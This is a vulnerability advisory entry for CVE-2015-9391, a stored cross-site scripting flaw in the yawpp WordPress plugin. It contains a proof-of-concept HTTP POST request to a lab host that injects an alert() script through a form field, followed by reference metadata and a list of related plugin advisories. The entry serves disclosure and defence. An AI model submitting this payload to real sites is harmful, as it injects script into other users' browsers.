YAWPP <= 1.2.2 – Unauthenticated Stored Cross-Site Scripting (XSS) | CVE 2015-9391 | Plugin Vulnerabilities

Description

The yawpp WordPress plugin was affected by an Unauthenticated Stored Cross-Site Scripting (XSS) security vulnerability.

Proof of Concept

POST /wordpress-4.3/?p=4 HTTP/1.1
Host: wp.lab
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://wp.lab/wordpress-4.3/?p=4
Cookie: wordpress_test_cookie=WP+Cookie+check; wp-settings-time-1=1449056570
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 94

field1=<script>alert(/XSS-Field1/)</script>&field2=test2%40gmail.com&id=1&submit_yawpp=Valider

Affects Plugins

No known fix

References

CVE

URL

https://plugins.svn.wordpress.org/yawpp/tags/1.2.2/

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Submitter

ethicalhack3r

Submitter twitter

Verified

No

WPVDB ID

9cf3791d-60cf-4de4-a197-23779a884cd9

Timeline

Publicly Published

2015-12-09 (about 10 years ago)

Added

2015-12-09 (about 10 years ago)

Last Updated

2020-09-22 (about 5 years ago)

Other

Published

Title

Published

2025-02-19

Title

Social Warfare < 4.5.6 - Contributor+ Stored XSS

Published

2026-01-24

Title

Save as PDF Plugin by PDFCrowd < 4.5.6 - Reflected Cross-Site Scripting via options

Published

2023-12-07

Title

Advanced Page Visit Counter <= 8.0.6 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2024-06-05

Title

SellKit – Funnel builder and checkout optimizer for WooCommerce to sell more, faster < 2.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via id Parameter

Published

2025-03-27

Title

Off-Canvas Sidebars & Menus (Slidebars) < 0.5.8.4 - Authenticated (Contributor+) Stored Cross-Site Scripting